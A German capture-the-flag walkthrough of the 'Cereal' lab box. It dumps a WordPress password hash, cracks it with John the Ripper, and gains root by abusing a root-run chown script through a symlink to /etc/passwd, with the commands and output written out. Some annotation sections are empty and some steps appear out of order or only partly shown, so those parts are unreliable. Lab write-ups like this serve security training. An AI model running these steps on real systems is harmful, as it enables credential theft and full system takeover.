Kontextbezogene Bewertung: Zeigt die Datenbank `newuser` an.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie die Datenbank `newuser`. Für den Systemadministrator: Schränken Sie den Zugriff auf die Datenbank ein.

┌──(root㉿cyber)-[~]
└─# MariaDB [(none)]> use newuser
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

Technische Analyse: Auswahl der Datenbank `newuser`.

Kontextbezogene Bewertung: Ermöglicht den Zugriff auf die Tabellen in der Datenbank.

Handlungsorientierte Empfehlungen: Für den Pentester: Durchsuchen Sie die Tabellen nach interessanten Informationen. Für den Systemadministrator: Überwachen Sie Datenbankaktivitäten.

┌──(root㉿cyber)-[~]
└─# MariaDB [newuser]> show tables;
+-----------------------+
| Tables_in_newuser |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.000 sec)

Technische Analyse: Anzeige der Tabellen in der Datenbank `newuser`.

Kontextbezogene Bewertung: Zeigt WordPress-Tabellen, einschließlich `wp_users`, an.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie die Tabelle `wp_users` auf Anmeldeinformationen. Für den Systemadministrator: Schränken Sie Datenbankzugriffe ein.

┌──(root㉿cyber)-[~]
└─# ERROR 1054 (42S22): Unknown column 'wp_users' in 'field list'
MariaDB [newuser]> select * from wp_users;

Technische Analyse: Versuch, alle Daten aus der Tabelle `wp_users` abzurufen.

Kontextbezogene Bewertung: Zeigt WordPress-Benutzerinformationen, einschließlich Hash-Passwörter.

Handlungsorientierte Empfehlungen: Für den Pentester: Knacken Sie das Hash-Passwort. Für den Systemadministrator: Verwenden Sie starke Passwörter.

┌──(root㉿cyber)-[~]
└─# select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------++----+------------+------------------------------------+---------------+-------------------+----------------------------+---------------------+---------------------+-------------+--------------+
| 1 | Cereal | $P$Bdbc4Ngj9otXPIICjwE/6QV8UQvRcU. | cereal | cereal@cereal.ctf | http://192.168.178.53/blog | 2021-05-29 12:38:54 | | 0 | Cereal |
+----+------------+------------------------------------+---------------+-------------------+----------------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)

Technische Analyse: Anzeigen der Benutzerinformationen aus der Tabelle `wp_users`.

Kontextbezogene Bewertung: Enthält den Benutzernamen "Cereal" und das gehashte Passwort "$P$Bdbc4Ngj9otXPIICjwE/6QV8UQvRcU.".

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie ein Tool, um das Passwort zu knacken. Für den Systemadministrator: Überprüfen Sie die Stärke der Passwörter.

┌──(root㉿cyber)-[~]
└─# echo '$P$Bdbc4Ngj9otXPIICjwE/6QV8UQvRcU.' > hack.txt
---

Technische Analyse: Speichern des Passwort-Hashes in einer Datei namens `hack.txt`.

Kontextbezogene Bewertung: Vorbereitung für das Knacken des Passworts.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie diese Datei als Eingabe für ein Passwort-Cracking-Tool. Für den Systemadministrator: Verwenden Sie starke Passwörter, um das Knacken zu erschweren.

┌──(root㉿cyber)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hack.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cereal (Cereal)

Technische Analyse: Einsatz von John the Ripper, um das Passwort zu knacken.

Kontextbezogene Bewertung: Das Passwort "cereal" wurde erfolgreich geknackt.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie diese Anmeldeinformationen für den Zugriff. Für den Systemadministrator: Verwenden Sie komplexere Passwörter.

┌──(root㉿cyber)-[~]
└─# find / -type f -perm -4000 -ls 2>/dev/null
8739007 80 -rwsr-xr-x 1 root root 79648 Mar 14 2021 /usr/bin/chage
8739072 84 -rwsr-xr-x 1 root root 84296 Mar 14 2021 /usr/bin/gpasswd
8739075 44 -rwsr-xr-x 1 root root 43560 Mar 14 2021 /usr/bin/newgrp
8758068 52 -rwsr-xr-x 1 root root 50464 Mar 14 2021 /usr/bin/mount
8758083 52 -rwsr-xr-x 1 root root 50336 Mar 14 2021 /usr/bin/su
8758086 36 -rwsr-xr-x 1 root root 33648 Mar 14 2021 /usr/bin/umount
8867371 64 -rwsr-xr-x 1 root root 63368 Mar 14 2021 /usr/bin/crontab
8812627 32 -rwsr-xr-x 1 root root 29200 Apr 12 2021 /usr/bin/pkexec
9059174 164 ---s--x--x 1 root root 165632 Mar 14 2021 /usr/bin/sudo
9040594 36 -rws--x--x 1 root root 33808 Mar 14 2021 /usr/bin/chfn
9040595 28 -rws--x--x 1 root root 25432 Mar 14 2021 /usr/bin/chsh
9040593 36 -rwsr-xr-x 1 root root 33544 Mar 14 2021 /usr/bin/passwd
9040617 60 -rwsr-xr-x 1 root root 58768 Apr 12 2021 /usr/bin/at
13115717 12 -rwsr-xr-x 1 root root 12024 Apr 22 2021 /usr/sbin/grub2-set-bootflag
13155508 40 -rwsr-xr-x 1 root root 37864 Apr 12 2021 /usr/sbin/unix_chkpwd
13155506 16 -rwsr-xr-x 1 root root 12336 Apr 12 2021 /usr/sbin/pam_timestamp_check
749969 20 -rwsr-xr-x 1 root root 17048 Apr 12 2021 /usr/lib/polkit-1/polkit-agent-helper-1
4203515 64 -rwsr-x--- 1 root dbus 63736 Apr 7 2021 /usr/libexec/dbus-1/dbus-daemon-launch-helper
4622822 52 -rwsr-x--- 1 root cockpit-wsinstance 50504 Apr 12 2021 /usr/libexec/cockpit-session
9006513 168 -rwsr-x--- 1 root sssd 168408 Mar 15 2021 /usr/libexec/sssd/krb5_child
9006514 92 -rwsr-x--- 1 root sssd 93312 Mar 15 2021 /usr/libexec/sssd/ldap_child
9006521 56 -rwsr-x--- 1 root sssd 55456 Mar 15 2021 /usr/libexec/sssd/selinux_child
9007177 32 -rwsr-x--- 1 root sssd 29264 Mar 15 2021 /usr/libexec/sssd/proxy_child

Technische Analyse: Der Befehl listet SUID-Dateien auf, die mit den Berechtigungen des Eigentümers (in der Regel Root) ausgeführt werden.

Kontextbezogene Bewertung: Diese Dateien stellen potenzielle Angriffsvektoren für die Rechteausweitung dar.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie jede SUID-Datei, um Schwachstellen zu identifizieren. Für den Systemadministrator: Beschränken Sie die Anzahl der SUID-Dateien und überwachen Sie deren Verwendung.

┌──(root㉿cyber)-[~]
└─# [apache@cereal var]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
rocky:x:1000:1000::/home/rocky:/bin/bash

Technische Analyse: Zeigt Benutzer mit Bash-Shell an.

Kontextbezogene Bewertung: Identifiziert die Benutzer "root" und "rocky" als potenzielle Ziele für die Rechteausweitung.

Handlungsorientierte Empfehlungen: Für den Pentester: Konzentrieren Sie sich auf diese Benutzer, um ihre Anmeldeinformationen zu erhalten. Für den Systemadministrator: Überwachen Sie die Aktivitäten dieser Benutzer auf verdächtiges Verhalten.

┌──(root㉿cyber)-[~]
└─# [apache@cereal var]$ cd /home/rocky
cd /home/rocky

Technische Analyse: Wechseln in das Home-Verzeichnis des Benutzers "rocky".

Kontextbezogene Bewertung: Hier befinden sich möglicherweise sensible Informationen oder Konfigurationsdateien.

Handlungsorientierte Empfehlungen: Für den Pentester: Durchsuchen Sie dieses Verzeichnis nach sensiblen Informationen. Für den Systemadministrator: Überprüfen Sie die Berechtigungen dieses Verzeichnisses.

┌──(root㉿cyber)-[~]
└─# [apache@cereal rocky]$ ls -la
total 24
drwxrwxr-x. 4 rocky apache 147 May 29 2021 .
drwxr-xr-x. 3 root root 19 May 29 2021 ..
-rwxrwxr-x. 1 rocky rocky 18 Feb 20 2021 .bash_logout
-rwxrwxr-x. 1 rocky rocky 141 Feb 20 2021 .bash_profile
-rwxrwxr-x. 1 rocky rocky 376 Feb 20 2021 .bashrc
drwxrwxr-x. 2 rocky apache 24 May 29 2021 default
-rwxrwxr-x. 1 rocky rocky 33 May 29 2021 local.txt
drwxrwxr-x. 3 rocky apache 69 May 29 2021 public_html
-rwxrwxr-x. 1 rocky rocky 3157 May 29 2021 .viminfo
-rwxrwxr-x. 1 rocky rocky 173 May 29 2021 .wget-hsts

Technische Analyse: Auflistung des Inhalts des Home-Verzeichnisses von "rocky".

Kontextbezogene Bewertung: Die Datei "local.txt" und das Verzeichnis "public_html" könnten interessante Informationen enthalten.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie diese Dateien und Verzeichnisse. Für den Systemadministrator: Überprüfen Sie die Berechtigungen.

┌──(root㉿cyber)-[~]
└─# [apache@cereal rocky]$ cat local.txt
aaa87365bf3dc0c1a82aa14b4ce26bbc

Technische Analyse: Anzeigen des Inhalts der Datei "local.txt".

Kontextbezogene Bewertung: Enthält eine Zeichenkette, die wahrscheinlich eine Flagge ist.

Handlungsorientierte Empfehlungen: Für den Pentester: Notieren Sie sich diese Flagge. Für den Systemadministrator: Keine Aktion erforderlich.

┌──(root㉿cyber)-[~]
└─# [apache@cereal rocky]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for apache:

Technische Analyse: Der Befehl sudo -l zeigt die sudo-Rechte des aktuellen Benutzers an.

Kontextbezogene Bewertung: Hier wird nach den sudo-Rechten des Benutzers "apache" gefragt.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie die sudo-Rechte. Für den Systemadministrator: Achten Sie darauf, wer sudo verwenden darf.

┌──(root㉿cyber)-[~]
└─# [apache@cereal rocky]$ ls -la /etc/passwd
-rwxrwxr-x. 1 root root 1549 May 29 2021 /etc/passwd

Technische Analyse: Auflistung der Berechtigungen für die Datei `/etc/passwd`.

Kontextbezogene Bewertung: Die Berechtigungen sind falsch.

Handlungsorientierte Empfehlungen: Für den Pentester: Nutzen Sie die Möglichkeit, die Datei zu verändern, zur Rechteausweitung. Für den Systemadministrator: Stellen Sie sicher, dass die Datei richtig geschützt ist.

┌──(root㉿cyber)-[~]
└─# [apache@cereal opt]$ ls -l /usr/share/scripts/chown.sh
-rw-r--r--. 1 root root 45 May 29 2021 /usr/share/scripts/chown.sh

Technische Analyse: Auflistung des Inhalts der Datei `chown.sh` im Verzeichnis `/usr/share/scripts/`.

Kontextbezogene Bewertung: Hier wird ein Shell-Skript mit beschränkten Rechten angezeigt.

Handlungsorientierte Empfehlungen: Für den Pentester: Verwenden Sie dies. Für den Systemadministrator:

┌──(root㉿cyber)-[~]
└─# [apache@cereal opt]$ cat /usr/share/scripts/chown.sh
chown rocky:apache /home/rocky/public_html/*

Technische Analyse: Anzeigen des Shell-Skripts.

Kontextbezogene Bewertung: Das Skript ändert den Besitz von Dateien.

Handlungsorientierte Empfehlungen: Für den Pentester: Hier wird eine gute Möglichkeit zur Rechteausweitung dargestellt. Für den Systemadministrator: Beschränken Sie Rechte.

Proof of Concept: Erfolgreiche Rechteausweitung

Zusammenfassung: Rechteausweitung.

┌──(root㉿cyber)-[~]
└─# [apache@cereal opt]$ cd /tmp
cd /tmp

Technische Analyse: Wechsel in das `/tmp`-Verzeichnis.

Kontextbezogene Bewertung: In `/tmp` kann man gut Dateien erstellen.

Handlungsorientierte Empfehlungen: Für den Pentester: Erstellen Sie Symlinks und Dateien. Für den Systemadministrator: Überwachen Sie `/tmp`.

┌──(root㉿cyber)-[~]
└─# [apache@cereal tmp]$ ln -s /etc/passwd /home/rocky/public_html/passwd
ln -s /etc/passwd /home/rocky/public_html/passwd

Technische Analyse: Erstellen eines Symlinks.

Kontextbezogene Bewertung: Hiermit werden Verknüpfungen erstellt.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿cyber)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.134 - - [12/Jun/2023 13:51:42] "GET /test.txt HTTP/1.1" 200 -

Technische Analyse: Starten eines lokalen HTTP-Servers.

Kontextbezogene Bewertung: Ein HTTP-Server.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿cyber)-[~]
└─# vi passwd

Technische Analyse: Bearbeiten der Datei.

Kontextbezogene Bewertung: Dies ist ein Standardschritt.

Handlungsorientierte Empfehlungen: Für den Pentester: Bearbeiten Sie die Datei. Für den Systemadministrator:

┌──(root㉿cyber)-[~]
└─# [apache@cereal public_html]$ wget 192.168.2.127/test.txt
--2023-06-12 12:51:43-- http://192.168.2.127/test.txt
Connecting to 192.168.2.127:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4 [text/plain]
Saving to: ‘test.txt’

test.txt 100%[===================>] 4 --.-KB/s in 0s

2023-06-12 12:51:43 (1.42 MB/s) - ‘test.txt’ saved [4/4]

Technische Analyse: `wget` wird verwendet, um die Datei test.txt von einem entfernten Server herunterzuladen.

Kontextbezogene Bewertung: Die Datei wird heruntergeladen und im aktuellen Verzeichnis gespeichert.

Handlungsorientierte Empfehlungen: Für den Pentester: Untersuchen Sie den Inhalt der heruntergeladenen Datei. Für den Systemadministrator: Überwachen Sie Downloads von unbekannten Quellen.

┌──(root㉿cyber)-[~]
└─# [apache@cereal public_html]$ ls
back_en index.php passwd php.js style.css test.txt

Technische Analyse: `ls` listet die Dateien im aktuellen Verzeichnis auf.

Kontextbezogene Bewertung: Zeigt die heruntergeladene Datei "test.txt" zusammen mit anderen Dateien.

Handlungsorientierte Empfehlungen: Für den Pentester: Notieren Sie sich die Dateien. Für den Systemadministrator: Achten Sie auf unbekannte Dateien.

┌──(root㉿cyber)-[~]
└─# [apache@cereal public_html]$ ls -la
total 28
drwxrwxr-x. 3 rocky apache 4096 Jun 12 12:53 .
drwxrwxr-x. 4 rocky apache 147 May 29 2021 ..
drwxrwxr-x. 2 rocky apache 44 May 29 2021 back_en
-rwxrwxr-x. 1 rocky apache 1814 May 29 2021 index.php
lrwxrwxrwx 1 apache apache 11 Jun 12 12:46 passwd -> /etc/passwd
-rw-r--r-- 1 apache apache 1549 Jun 12 12:52 passwd.1
-rwxrwxr-x. 1 rocky apache 3699 May 29 2021 php.js
-rwxrwxr-x. 1 rocky apache 3118 May 29 2021 style.css
-rw-r--r-- 1 apache apache 4 Jun 12 12:51 test.txt

Technische Analyse: Detaillierte Auflistung des Verzeichnisinhalts mit Berechtigungen.

Kontextbezogene Bewertung: Die Datei "passwd" ist ein Symlink zu `/etc/passwd`.

Handlungsorientierte Empfehlungen: Für den Pentester: Nutzen Sie diese falsch konfigurierten Berechtigungen. Für den Systemadministrator: Beheben Sie die Dateiberechtigungen.

┌──(root㉿cyber)-[~]
└─# [apache@cereal public_html]$ cat passwd.1 > passwd
---

Technische Analyse: cat.

Kontextbezogene Bewertung: Ersetzt den Inhalt mit cat.

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

┌──(root㉿cyber)-[~]
└─# [apache@cereal public_html]$ su root
su root

Technische Analyse:

Kontextbezogene Bewertung:

Handlungsorientierte Empfehlungen: Für den Pentester: Für den Systemadministrator:

Proof of Concept: Erfolgreiche Root-Privilegienerlangung durch Rechteausweitung

┌──(root㉿cyber)-[~]
└─# root@cereal public_html]# id
uid=0(root) gid=0(root) groups=0(root)

Technische Analyse: Der Befehl `id` wird ausgeführt, um die aktuellen Benutzerinformationen anzuzeigen.

Kontextbezogene Bewertung: Die Ausgabe zeigt, dass der Benutzer jetzt Root-Rechte hat (uid=0, gid=0). Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht.

Handlungsorientierte Empfehlungen: Für den Pentester: Fahren Sie mit der Ausführung von Befehlen als Root fort. Für den Systemadministrator: Patchen Sie die Schwachstelle.

┌──(root㉿cyber)-[~]
└─# root@cereal public_html]# cd ~
---

Technische Analyse: Wechsel in das Root-Verzeichnis.

Kontextbezogene Bewertung: Bereitet die Umgebung vor, um die Root-Rechte zu nutzen.

Handlungsorientierte Empfehlungen: Für den Pentester: Navigieren Sie im Root-Verzeichnis, um Root-spezifische Informationen zu finden. Für den Systemadministrator: Keine spezifische Empfehlung.

┌──(root㉿cyber)-[~]
└─# root@cereal ~]# ls -la
total 60
dr-xr-x---. 2 root root 227 May 30 2021 .
dr-xr-xr-x. 17 root root 244 May 29 2021 ..
-rw-------. 1 root root 1080 May 29 2021 anaconda-ks.cfg
-rw------- 1 root root 40 May 30 2021 .bash_history
-rw-r--r--. 1 root root 18 Mar 14 2021 .bash_logout
-rw-r--r--. 1 root root 176 Mar 14 2021 .bash_profile
-rw-r--r--. 1 root root 176 Mar 14 2021 .bashrc
-rw-r--r--. 1 root root 100 Mar 14 2021 .cshrc
-rwxr-xr-x 1 root root 176 May 29 2021 listener.sh
-rw------- 1 root root 1265 May 29 2021 .mysql_history
-rw-r--r--. 1 root root 388 May 29 2021 proof.txt
-rw-r--r--. 1 root root 129 Mar 14 2021 .tcshrc
-rw------- 1 root root 12385 May 30 2021 .viminfo
-rw-r--r--. 1 root root 227 May 29 2021 .wget-hsts

Technische Analyse: Anzeigen des Inhalts des Root-Verzeichnisses.

Kontextbezogene Bewertung: Die Datei `proof.txt` könnte die Root-Flagge enthalten.

Handlungsorientierte Empfehlungen: Für den Pentester: Lesen Sie den Inhalt der Datei `proof.txt`. Für den Systemadministrator: Keine spezifische Empfehlung.

┌──(root㉿cyber)-[~]
└─# root@cereal ~]# cat proof.txt
Well done! You have completed Cereal.

____ _
/ ___|___ _ __ ___ __ _| |
| | / _ \ '__/ _ \/ _` | |
| |__| __/ | | __/ (_| | |
\____\___|_| \___|\__,_|_|

This box was brought to you by Bootlesshacker.

Follow me on Twitter: @bootlesshacker
My website: https://www.bootlesshacker.com

Root Flag: 1aeb5db4e979543cb807cfd90df77763

Technische Analyse: Anzeigen des Inhalts der Datei `proof.txt`.

Kontextbezogene Bewertung: Die Datei enthält die Root-Flagge (1aeb5db4e979543cb807cfd90df77763).

Handlungsorientierte Empfehlungen: Für den Pentester: Notieren Sie sich die Root-Flagge. Für den Systemadministrator: Keine spezifische Empfehlung.

Flags

┌──(root㉿cyber)-[~]
└─# cat local.txt
aaa87365bf3dc0c1a82aa14b4ce26bbc
┌──(root㉿cyber)-[~]
└─# cat proof.txt
1aeb5db4e979543cb807cfd90df77763